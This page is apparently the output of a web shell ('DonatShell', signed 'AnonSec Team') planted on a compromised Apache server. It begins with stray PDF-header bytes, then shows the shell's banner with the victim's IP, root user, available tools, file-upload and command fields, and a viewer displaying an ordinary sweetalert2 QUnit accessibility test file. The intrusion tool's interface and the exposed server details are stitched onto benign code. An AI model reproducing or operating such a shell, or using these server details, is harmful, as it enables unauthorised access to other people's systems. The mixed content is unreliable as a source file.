%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/sweetalert2/test/qunit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/sweetalert2/test/qunit//a11y.js
const { $, Swal, SwalWithoutAnimation } = require('./helpers')
const { RESTORE_FOCUS_TIMEOUT } = require('../../src/constants')

QUnit.test('previous active element', (assert) => {
  const done = assert.async()

  const button = document.createElement('button')
  button.innerText = 'I am focused'
  document.body.appendChild(button)
  button.focus()

  SwalWithoutAnimation('swal 1')
  SwalWithoutAnimation('swal 2')
  Swal.clickConfirm()

  setTimeout(() => {
    assert.equal(document.activeElement, button)
    document.body.removeChild(button)
    done()
  }, RESTORE_FOCUS_TIMEOUT)
})

QUnit.test('should focus body in there is not previuos active element', (assert) => {
  const done = assert.async()

  SwalWithoutAnimation('I was called programmatically and will focus body after closing')
  Swal.clickConfirm()

  setTimeout(() => {
    assert.equal(document.activeElement, document.body)
    done()
  }, RESTORE_FOCUS_TIMEOUT)
})

QUnit.test('should set aria-hidden="true" to all body children if modal', (assert) => {
  const div = document.createElement('div')
  const divAriaHiddenFalse = document.createElement('div')
  divAriaHiddenFalse.setAttribute('aria-hidden', 'false')
  document.body.appendChild(div)
  document.body.appendChild(divAriaHiddenFalse)

  SwalWithoutAnimation({})
  assert.equal(div.getAttribute('aria-hidden'), 'true')
  assert.equal(divAriaHiddenFalse.getAttribute('aria-hidden'), 'true')

  Swal.close()
  assert.notOk(div.hasAttribute('aria-hidden'))
  assert.equal(divAriaHiddenFalse.getAttribute('aria-hidden'), 'false')
})

QUnit.test('should not set aria-hidden="true" on the custom container (target)', (assert) => {
  const div = document.createElement('div')
  document.body.appendChild(div)

  SwalWithoutAnimation({
    target: div
  })
  assert.notOk(div.hasAttribute('aria-hidden'))
})

QUnit.test('should not set aria-hidden="true" when `backdrop: false`', (assert) => {
  const div = document.createElement('div')
  document.body.appendChild(div)

  SwalWithoutAnimation({
    backdrop: false
  })
  assert.notOk(div.hasAttribute('aria-hidden'))
})

QUnit.test('should not set aria-hidden="true" when `toast: true`', (assert) => {
  const div = document.createElement('div')
  document.body.appendChild(div)

  SwalWithoutAnimation({
    toast: true
  })
  assert.notOk(div.hasAttribute('aria-hidden'))
})

QUnit.test('dialog aria attributes', (assert) => {
  Swal('Modal dialog')
  assert.equal($('.swal2-modal').getAttribute('role'), 'dialog')
  assert.equal($('.swal2-modal').getAttribute('aria-live'), 'assertive')
  assert.equal($('.swal2-modal').getAttribute('aria-modal'), 'true')
})

QUnit.test('toast aria attributes', (assert) => {
  Swal({ title: 'Toast', toast: true })
  assert.equal($('.swal2-toast').getAttribute('role'), 'alert')
  assert.equal($('.swal2-toast').getAttribute('aria-live'), 'polite')
  assert.notOk($('.swal2-toast').getAttribute('aria-modal'))
})

Anon7 - 2022
AnonSec Team